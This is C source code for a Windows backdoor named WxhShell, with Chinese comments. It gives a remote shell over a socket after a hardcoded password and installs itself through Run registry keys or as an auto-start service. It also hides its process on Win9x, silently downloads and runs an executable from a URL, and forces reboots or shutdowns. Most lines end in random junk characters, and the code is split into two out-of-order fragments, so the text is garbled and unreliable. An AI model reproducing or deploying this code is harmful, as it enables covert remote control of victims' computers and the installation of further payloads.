    if(Boot(SHUTDOWN)) rZDmZm?=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pZ/aZg1Ld  
    else { S-"&#OfWg<  
    closesocket(wsh); +_8*;k@F'  
    ExitThread(0); r@3VN~  
    } =<.8  
    break; @l0#C5(:  
    } -Fodqq@,  
  // 获取shell _u^ S[  
  case 's': { )g9&fGYf  
    CmdShell(wsh); R4<}kA,.  
    closesocket(wsh); F6gboo)SD  
    ExitThread(0); Q0f7gY1-%  
    break; ZJ} V>Bu-  
  } 1/Pou)D  
  // 退出 /-wAy-W  
  case 'x': { kzhncku  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); JkazB1h  
    CloseIt(wsh); i6)$pARp  
    break; a_YE[6  
    } M@rknq@  
  // 离开 +'$=\d^  
  case 'q': { C@` eYi  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^D(N_va<  
    closesocket(wsh); ,C88%k  
    WSACleanup(); :7t~p&J  
    exit(1); ?|8H|LBIr  
    break; M`$s dZ"  
        } }fW@8ji\  
  } P1b5=/}:V  
  } vMsb@@O\\  
x8Rmap@L.  
  // 提示信息 dnVl;L8L3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0/d+26lR  
} /s3AZ j9  
  } m$xL#omD  
-MV</  
  return; ST3aiyG  
} gG0P &9xz  
Kc+;"4/#q  
// shell模块句柄 Ey$J.qw3  
int CmdShell(SOCKET sock) j4L ) D  
{ f%0^89)  
STARTUPINFO si; "VxZnT  
ZeroMemory(&si,sizeof(si)); vgSs]g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @Iz vObK  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %EYh5 W  
PROCESS_INFORMATION ProcessInfo; P SDzs\s  
char cmdline[]="cmd"; CUgXpU*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |:SBkM,  
  return 0; 1;<J] S$$  
} T8 k@DS  
2]n"7Z8(v8  
// 自身启动模式 xmxfXW  
int StartFromService(void) @.f@N;z  
{ r3oAP[+n  
typedef struct Qi' ,[Xmf  
{ s5T$>+ a  
  DWORD ExitStatus; nS0K&MH6B  
  DWORD PebBaseAddress; cg$@x\fJ  
  DWORD AffinityMask; `Q V}je  
  DWORD BasePriority; h_ef@ZwSw  
  ULONG UniqueProcessId; TJ3CXyRq  
  ULONG InheritedFromUniqueProcessId; o0b}:`  
}   PROCESS_BASIC_INFORMATION; /238pg~Cw5  
RKsr}-1 8  
PROCNTQSIP NtQueryInformationProcess; $:kG>R@\t  
\TS t  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3!M;Z7qF]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; beFVjVVHq  
rr fL [  
  HANDLE             hProcess; U7d%*g  
  PROCESS_BASIC_INFORMATION pbi; |e@9YDZ  
J&w%lYiu5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K^bzZa+a  
  if(NULL == hInst ) return 0; E]`)  
jy`jxOoG~Z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F|q-ZlpW-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r- 0BLq]~{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8munw  
6k"'3AKaR  
  if (!NtQueryInformationProcess) return 0; keNPlK%>  
mHjds77e  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pIdJ+gu(s  
  if(!hProcess) return 0; |[n-H;0  
^'Wkb7L  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; n<6p0w  
1J<Wth{  
  CloseHandle(hProcess); fyIL/7hzf4  
Xxcv 5.ug  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3+_? /}<  
if(hProcess==NULL) return 0; }R:eKj  
^& ZlV  
HMODULE hMod; ab8uY.j  
char procName[255]; *[jG^w0z8~  
unsigned long cbNeeded; ]Ln2|$R  
z"8%W?o>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); WmTSxneo  
Ql sMMIax  
  CloseHandle(hProcess); xg %EQ  
M7BCBA  
if(strstr(procName,"services")) return 1; // 以服务启动 `2\vDy1,j  
kxt@t#  
  return 0; // 注册表启动 9,=3D2x&  
} Y<M,/Y_ !  
qy=4zOOD#  
// 主模块 hD!W&Er  
int StartWxhshell(LPSTR lpCmdLine) u9rlNmf$  
{ _hyboQi  
  SOCKET wsl; {s!DRc]ln  
BOOL val=TRUE; ZKTOif}  
  int port=0; UA$ XjP  
  struct sockaddr_in door; So?SBh1C  
|>a sGP  
  if(wscfg.ws_autoins) Install(); 1lZl10M:f  
(yWU9q)5  
port=atoi(lpCmdLine); GFasGHAw  
u5^fiw]C  
if(port<=0) port=wscfg.ws_port; [_6_A O(Z  
Ijq1ns_tx8  
  WSADATA data; UR6.zE4=_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; P3 se"pP  
W(ITs}O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   z/u;afB9q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {Y-<#U~iH  
  door.sin_family = AF_INET; 6}"P m  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); AFO g*{1  
  door.sin_port = htons(port); }z6@Z#%q  
;Ut0tm  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <RY5ZP  
closesocket(wsl); :5hKE(3Q  
return 1; '&,$"QXwE  
} e eb`Ao  
rtf\{u9 }g  
  if(listen(wsl,2) == INVALID_SOCKET) { X[b=25Ct  
closesocket(wsl); 1 zIFQ@  
return 1; VAf"B5 R  
} ?}"$[6.  
  Wxhshell(wsl); )$K )`uqb  
  WSACleanup(); =?>f[J5  
 f.acH]p  
return 0; braHWC'VYg  
ogQY"c8  
} ei)ljvvmHP  
D+?/MrP  
// 以NT服务方式启动 4eTfb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s>(OK.o  
{ }eh<F^  
DWORD   status = 0; 7K3S\oPej  
  DWORD   specificError = 0xfffffff; -b+VzVJZ  
Cm g(# $ X  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Q!8AFLff4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; NNSHA'F,.\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C o v,#j j  
  serviceStatus.dwWin32ExitCode     = 0; [ sJ f)<  
  serviceStatus.dwServiceSpecificExitCode = 0; P3X;&iT  
  serviceStatus.dwCheckPoint       = 0; '<_nL8A^  
  serviceStatus.dwWaitHint       = 0; V(Ll]g/T_;  
PjZsMHW%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ag=>F5  
  if (hServiceStatusHandle==0) return;  ZaJg$  
mne4uW  
status = GetLastError(); - y[nMEE  
  if (status!=NO_ERROR)  (c;F%m|  
{ -Yx'qz@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; y<(q<V#0!S  
    serviceStatus.dwCheckPoint       = 0; 6Mu_9UAl`  
    serviceStatus.dwWaitHint       = 0; 1'DD9d{ qN  
    serviceStatus.dwWin32ExitCode     = status; _7es_w}R  
    serviceStatus.dwServiceSpecificExitCode = specificError; FrBoE#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6lw)L  
    return; Q qGf*  
  } .%;`: dtj  
- ;1'{v  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?145^ w  
  serviceStatus.dwCheckPoint       = 0; ;sd[Q01  
  serviceStatus.dwWaitHint       = 0; Z.6M~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [.Vy  
} Z5 iP1/&D  
|O3wAxc3W  
// 处理NT服务事件,比如:启动、停止 Xkc y~e  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  tKOTQ8i4  
{ D/QSC]"  
switch(fdwControl)  >d-By  
{ ("07t/||  
case SERVICE_CONTROL_STOP: R6l`IlG`  
  serviceStatus.dwWin32ExitCode = 0; A;ip V :)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ZDEz&{3U;  
  serviceStatus.dwCheckPoint   = 0; =@(&xfTC  
  serviceStatus.dwWaitHint     = 0; {3n|=  
  { JDPn   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V45A>#?U  
  } 87WIDr  
  return; ..BIoSrj  
case SERVICE_CONTROL_PAUSE: FOJ-?s(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &?N1-?BjM  
  break; hG~4i:p <  
case SERVICE_CONTROL_CONTINUE: d-/{@   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; kN(*.Q|VZ  
  break; 4/UY*Us&  
case SERVICE_CONTROL_INTERROGATE: ~ 8L]!OQ9=  
  break; T DOOq;+  
}; k4:$LFw@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K|JpkEw  
} U-~cVk+LI  
52Sq;X  
// 标准应用程序主函数 N$>.V7H&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $yxwB/O(  
{ d%+oCoeb  
>np!f8+d"q  
// 获取操作系统版本 !p$HS0c  
OsIsNt=GetOsVer(); P^9y0Q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); '}#=I 9=ss  
UrtA]pc3L  
  // 从命令行安装 \fC)]QZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); ptJ58U$Bb  
sa8JN.B  
  // 下载执行文件 +tOmKY  
if(wscfg.ws_downexe) { j9Qd 45  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) cGF_|1`  
  WinExec(wscfg.ws_filenam,SW_HIDE); wEd+Ds]$  
} a#3+PB #  
8<V6W F`e  
if(!OsIsNt) { L#U-d zy\  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ff6l"A5  
HideProc(); P?|F+RoX$  
StartWxhshell(lpCmdLine); h r@c7/L  
} )~W 35  
else t Qo) *z  
  if(StartFromService()) = iJfz  
  // 以服务方式启动 xvo""R/g8  
  StartServiceCtrlDispatcher(DispatchTable); pJ8;7u  
else U\OfB'Dn  
  // 普通方式启动 TCShS}q;%  
  StartWxhshell(lpCmdLine); z[Sq7bbYO  
j v9DQr  
return 0; Dp1FX"a)  
} VpmwN`  
gbvM2  
_0HCtx ;  
R1't W=  
=========================================== kyV!ATL1F  
q8DSKi  
,uz+/K%OA5  
/G[2   
\ a}6NIo  
5e)2Jt:  
" ;B Lw?kf  
GSlvT:k  
#include <stdio.h> [=3f:>ssm  
#include <string.h> >~%!#,C(|U  
#include <windows.h> $MW-c*5a  
#include <winsock2.h> =Sjr*)<@j  
#include <winsvc.h> 87&BF)]  
#include <urlmon.h> 9gWR djK:  
^7b[s pqE  
#pragma comment (lib, "Ws2_32.lib") LYTx8  
#pragma comment (lib, "urlmon.lib") op!ft/Yyb  
jVW .=FK  
#define MAX_USER   100 // 最大客户端连接数 1=U(ZX+u  
#define BUF_SOCK   200 // sock buffer 5a8[0&hA 2  
#define KEY_BUFF   255 // 输入 buffer IZ9L ;"}  
CdB sd  
#define REBOOT     0   // 重启 p~v rr 5  
#define SHUTDOWN   1   // 关机 o<1a]M|  
7E0L-E=.  
#define DEF_PORT   5000 // 监听端口 8]G  
U2hPsF4f  
#define REG_LEN     16   // 注册表键长度 #:q$sKQ_$  
#define SVC_LEN     80   // NT服务名长度 FJI%+$]  
wl^7.IR  
// 从dll定义API m!'moumL;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *U<l$gajq  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $!?tJ@{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2il)@&^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); dSdP]50M  
dWR-}>  
// wxhshell配置信息 MKdS_&F;~  
struct WSCFG {  F,hiKq*  
  int ws_port;         // 监听端口 v8{ jEAK  
  char ws_passstr[REG_LEN]; // 口令 Wi;wu*  
  int ws_autoins;       // 安装标记, 1=yes 0=no )Bz2-|\  
  char ws_regname[REG_LEN]; // 注册表键名 /5**2Kgv1  
  char ws_svcname[REG_LEN]; // 服务名 J&hzr t  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 a9f!f %9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 AiF'*!1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,Wbr; zb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9` a1xnL  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Q4H(JD1f)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h4iz(*  
Y5dt/8Jo  
}; \OzPDN  
,0pCc<  
// default Wxhshell configuration  }q$6^y  
struct WSCFG wscfg={DEF_PORT, -(oFO'Lbg  
    "xuhuanlingzhe", 6np  
    1, {4C/ZA{|l  
    "Wxhshell", p1BMQ?=($  
    "Wxhshell", ^i"~6QYE  
            "WxhShell Service", yG v7^d  
    "Wrsky Windows CmdShell Service", 5YV3pFz$)  
    "Please Input Your Password: ", vk1E!T9X  
  1, B@+&?%ub:  
  "http://www.wrsky.com/wxhshell.exe", {M_*hR;lL  
  "Wxhshell.exe" s^&Oh*SP*  
    }; =/#+,  
_N @ h  
// 消息定义模块 ;q"Yz-3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~[N"Q|D3Y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; B2kKEMdGg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $>M-oNeC  
char *msg_ws_ext="\n\rExit."; w7#9t  
char *msg_ws_end="\n\rQuit."; ,P>xpfdK  
char *msg_ws_boot="\n\rReboot..."; xj!G9x<!  
char *msg_ws_poff="\n\rShutdown..."; H{d;, KfX  
char *msg_ws_down="\n\rSave to "; vvi[+$M  
@$*LU:[  
char *msg_ws_err="\n\rErr!"; &s{" Vc9]  
char *msg_ws_ok="\n\rOK!"; yIq. m=  
 %"jp':  
char ExeFile[MAX_PATH]; [X&VxTxr  
int nUser = 0; Lu][0+-  
HANDLE handles[MAX_USER]; swTur  
int OsIsNt; ,N1I\f  
/0_^Z2  
SERVICE_STATUS       serviceStatus; cWU9mzsE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *+UgrsRk  
E2nsBP=5C  
// 函数声明 rlpbLOG`  
int Install(void); \/8oua_)  
int Uninstall(void); m~f J_  
int DownloadFile(char *sURL, SOCKET wsh); .7K<9K+P  
int Boot(int flag); L ,/(^0;  
void HideProc(void); [6u8EP0xM  
int GetOsVer(void); 'JpCS  
int Wxhshell(SOCKET wsl); E9bc pup  
void TalkWithClient(void *cs); v<AFcY   
int CmdShell(SOCKET sock); AE@N:a  
int StartFromService(void); ll^#I/  
int StartWxhshell(LPSTR lpCmdLine); \UEO$~Km  
\i.Yhl:O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tb1w 6jaU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V4CL% i  
JVe!(L4H  
// 数据结构和表定义 bd;?oYV~  
SERVICE_TABLE_ENTRY DispatchTable[] = FhFP M)[  
{ DkA@KS1Dq  
{wscfg.ws_svcname, NTServiceMain}, ,7/F?!G!J  
{NULL, NULL} s#* DY  
}; %+bw2;a6  
- %'ys  
// 自我安装 F8pP(Wl  
int Install(void) .l:x!  
{ 45(n!"u65  
  char svExeFile[MAX_PATH]; O/ ih9,  
  HKEY key; U{Xx)l/o  
  strcpy(svExeFile,ExeFile); YVW`|'7)|  
y?-zQs0  
// 如果是win9x系统,修改注册表设为自启动 N]|P||fC  
if(!OsIsNt) { AM:lU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *=)kR7,]9d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >g+e`!;6  
  RegCloseKey(key); 2 )F~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EG#mNpxE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A>Y#-e;<d  
  RegCloseKey(key); #\T5r*W  
  return 0; T\OpPSYbl  
    }  K?]c  
  } @x[Arx^?}  
} hhr!FQ.+/  
else { 2JR$  
nl/~7({  
// 如果是NT以上系统,安装为系统服务 n:P++^ j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B(ZK\]  
if (schSCManager!=0) v2KK%Qy  
{ lBZhg~{  
  SC_HANDLE schService = CreateService %4I13|<A`  
  ( u}(K3H3  
  schSCManager, !g2 ~|G  
  wscfg.ws_svcname, 3q)y;T\yW  
  wscfg.ws_svcdisp, P/Zp3O H  
  SERVICE_ALL_ACCESS, g+pj1ycw/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9>!B .Z?!#  
  SERVICE_AUTO_START, )+dd  
  SERVICE_ERROR_NORMAL, ~&%&Z  
  svExeFile, :p0<AU47  
  NULL, @w @SOzS)  
  NULL, E%e2$KfD  
  NULL, =LyR CrA  
  NULL, I%'6IpR"d  
  NULL NA{?DSP  
  ); >!BZ>G2  
  if (schService!=0) X775j"<d  
  { i"GCm`  
  CloseServiceHandle(schService); 9*CJWS;  
  CloseServiceHandle(schSCManager); 9 lH00n+'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3aERfIJyE  
  strcat(svExeFile,wscfg.ws_svcname); C|g]Y 7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Jj'dg6QY'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jr3FDd]  
  RegCloseKey(key); b75en{aDi*  
  return 0; D"ecwx{%;C  
    } Br}0dha3E  
  } u8N"i),  
  CloseServiceHandle(schSCManager); Xd@_:ds  
} " LkI'>3}  
} *$*V#,V-  
b3^d!#KVM  
return 1; )D8V;g(7F  
} <wj}y0(  
2&KM&NX~  
// 自我卸载 2E_d$nsJ  
int Uninstall(void) ~`!{5:v  
{ }:xj%?ki  
  HKEY key; ~7O.}RP0  
g"|/^G_6S  
if(!OsIsNt) { 4) z*Vux  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %WO4uOi:@  
  RegDeleteValue(key,wscfg.ws_regname); #4wia%}u  
  RegCloseKey(key);  r NT>{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a8v9j3.  
  RegDeleteValue(key,wscfg.ws_regname); f6U i~  
  RegCloseKey(key); K;P<c,9X/  
  return 0; N*6lyFcg  
  } Y:KIaYkk  
} %C =?Xhnv  
} /PTk296@  
else { =BVBCh  
} U_z XuUz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); NKRI|'Y,  
if (schSCManager!=0) AEO7I f@  
{ ;(0|2I'"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *^s^{0Ad  
  if (schService!=0) &A)u!l Ue  
  { )Bpvi4O  
  if(DeleteService(schService)!=0) { ?8TIPz J  
  CloseServiceHandle(schService); BU=;rz!;  
  CloseServiceHandle(schSCManager); Z O\x|E!b  
  return 0; ~ "stI   
  } ;T\'|[bY   
  CloseServiceHandle(schService); Vohd d_x  
  } xt=ELzu$  
  CloseServiceHandle(schSCManager); V 2/?1  
} lL6W:Fq@(  
} Y9ipy_@_?  
bO6LBSZx]  
return 1; i=aK ?^+  
} xk@fBa }  
|>!tqgq  
// 从指定url下载文件 s%Irh;Bs  
int DownloadFile(char *sURL, SOCKET wsh) (GB*+@  
{ 0.!!rq,  
  HRESULT hr; \ ix& U  
char seps[]= "/"; ;^9y#muk  
char *token; [z> Ya-uz7  
char *file; SioP`*,}  
char myURL[MAX_PATH]; "e@?^J)  
char myFILE[MAX_PATH]; YAJr@v+Ls  
uraT$Q}  
strcpy(myURL,sURL); xQ~N1Y2W  
  token=strtok(myURL,seps); 4>}qdR1L4  
  while(token!=NULL) q&d5V~q  
  { R~!md  
    file=token; NjP7?nXSx  
  token=strtok(NULL,seps); \Rz-*zr&  
  } y6`zdB  
Z?j4WJy-[  
GetCurrentDirectory(MAX_PATH,myFILE); 2YhtD A  
strcat(myFILE, "\\"); :WHbwu,L$  
strcat(myFILE, file); `ZZq Sc4  
  send(wsh,myFILE,strlen(myFILE),0); 0.lOSAq  
send(wsh,"...",3,0); PsCr[\Ul  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); AroYDR,3+  
  if(hr==S_OK) (hn;C>B  
return 0; iiD }2y b  
else ]m@p? A$  
return 1; iJVm=0WS^  
+_v#V9?  
} mz?1J4rt  
Fa-F`U@h(m  
// 系统电源模块 1 ILA Utf)  
int Boot(int flag) ix!4s613w  
{ Z[G:  
  HANDLE hToken; (M nK \^Y  
  TOKEN_PRIVILEGES tkp; qfa[KD)!aB  
o7 1f<&1  
  if(OsIsNt) { M TOZ:b  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *wu|(t_ A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C[s='v~}  
    tkp.PrivilegeCount = 1; C*&FApG  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; S?e*<s9k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >@uFye$  
if(flag==REBOOT) { =x5k5NIF  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rO7[{<97m  
  return 0; i8i~b8r]  
} O~&j}WN  
else { _ Y8j l,J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J*m ~fZ^  
  return 0; 8c5%~}kG  
} U~s-'-C /  
  } +?bjP6w_g  
  else { z,IUCNgM  
if(flag==REBOOT) { H:!pFj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4$MV]ldUI  
  return 0; ,@r 0-gL  
} 'q, L*  
else { !B:wzb_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +MvO+\/  
  return 0; Rn5{s3?F~2  
}  YW'l),Z  
} {LoNp0i1a  
*4?%Y8;bF6  
return 1; 5%;=(Oig  
} N5|wBm>m  
\>p\~[cxt  
// win9x进程隐藏模块 |[/'W7TV%?  
void HideProc(void) r9!,cs  
{ <) VNEy'  
vCsJnKqK  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6<m9guv  
  if ( hKernel != NULL ) 08F~6e6a8  
  { I6RF;m:Jw  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tde&w=ec  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F%`O$uXA  
    FreeLibrary(hKernel); TDZ p1zpXb  
  } DA9f\q   
26[m7\O  
return; ;QqC c!b  
} akV-|v_  
JHCXUT-r{  
// 获取操作系统版本 dz=pL$C  
int GetOsVer(void) meArS*d  
{ `i{p6-U3  
  OSVERSIONINFO winfo; !X ={a{<,T  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); S9lT4  
  GetVersionEx(&winfo); NZ:KJ8ea"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) iNv"!'|  
  return 1; *TC#|5  
  else h$$2(!G4  
  return 0; H rI(uZ]  
} lCiRvh1K  
e(Y5OTus  
// 客户端句柄模块 a}5/?/  
int Wxhshell(SOCKET wsl) VkZ3Q7d  
{  re@;6o  
  SOCKET wsh; EN;4EC7tE  
  struct sockaddr_in client; :XCRKRDLE  
  DWORD myID; eh}I?:(a?  
cs7K^D;.V  
  while(nUser<MAX_USER) G}#p4 \/  
{ :[!b";pR  
  int nSize=sizeof(client); ]Ia}H+&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); C1po]Ott*  
  if(wsh==INVALID_SOCKET) return 1; [J +5  
MD>xRs   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'l6SL- <  
if(handles[nUser]==0) BT* {&'\/  
  closesocket(wsh); %hN7K  
else J{e`P;ND  
  nUser++; ]qO*(m:}o  
  } OSIf>1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); t 4>\ ;  
^17i98w  
  return 0; u -A_l<K  
} wrAcVR  
p"d_+  
// 关闭 socket dlCmSCp%  
void CloseIt(SOCKET wsh) `{  ` W-C  
{ |)+45e  
closesocket(wsh); Mc /= Fs  
nUser--; ^|ul3_'?  
ExitThread(0); W #V`|JA  
} CM4#Nn=i~  
- sL4tMP  
// 客户端请求句柄 !;E{D  
void TalkWithClient(void *cs) &Rt^G  
{ 'W*ODAz6  
~ As_O6JI  
  SOCKET wsh=(SOCKET)cs; iG+=whvL  
  char pwd[SVC_LEN]; H/$oGhvl  
  char cmd[KEY_BUFF]; '.IR|~Y  
char chr[1]; ASUL g{  
int i,j; V~]&1  
^EcwY- Qr  
  while (nUser < MAX_USER) { ; ~#uH7k  
k`NXYf:  
if(wscfg.ws_passstr) { :[?65q{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |C}=  1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8RjFp2) W  
  //ZeroMemory(pwd,KEY_BUFF); b/obHB+:  
      i=0; DMiB \o  
  while(i<SVC_LEN) { 'DTq<`~?  
`Tc"a_p9t  
  // 设置超时 Y%Tm `$^V  
  fd_set FdRead; j6#Vwcr  
  struct timeval TimeOut; To =JE}jzo  
  FD_ZERO(&FdRead); =PYS5\k  
  FD_SET(wsh,&FdRead); Hgbrlh  
  TimeOut.tv_sec=8; 9@wmngvM*Y  
  TimeOut.tv_usec=0; {;+9A}e  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /dwj:g0y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >(C5&3^  
v%;Ny ab6$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FZx.Yuv  
  pwd=chr[0]; q" @%WK  
  if(chr[0]==0xd || chr[0]==0xa) { SY$%)(c8kL  
  pwd=0; ub]"b[j\1  
  break; MQq!<?/  
  } Esdw^MGL2  
  i++; %nhE588xf  
    } <F ?UdMT4y  
Jp-6]uW  
  // 如果是非法用户,关闭 socket dyVfDF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?b xa k  
} >;+q,U}  
] D+'Ao^'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `ZGKM>q`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T[%@B"  
E^? 3P'%^  
while(1) { L16">,5  
vQmqYyOc2  
  ZeroMemory(cmd,KEY_BUFF); $Go)Zs-bL?  
{!xDJnF;  
      // 自动支持客户端 telnet标准   `gz/?q  
  j=0; _:+ k|I  
  while(j<KEY_BUFF) { lf}%^od~6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b}J,&eYD  
  cmd[j]=chr[0]; 4%5 +  
  if(chr[0]==0xa || chr[0]==0xd) { k;Ask#rs  
  cmd[j]=0; rT';7>{g  
  break; {ZKXT8'  
  } c|Fu6LF a  
  j++; ? u~?:a@K  
    } @P/6NMjZ^  
FY"csZ  
  // 下载文件 TV~S#yg+H  
  if(strstr(cmd,"http://")) { 91M5F$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4ZtsLMwLD  
  if(DownloadFile(cmd,wsh)) I 8VCR8q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )wCV]TdF  
  else NE+ ;<mW  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *Qy,?2  
  } e@{Rlz   
  else { $lb$<  
-YY@[5x?u  
    switch(cmd[0]) { j> dL:V&`  
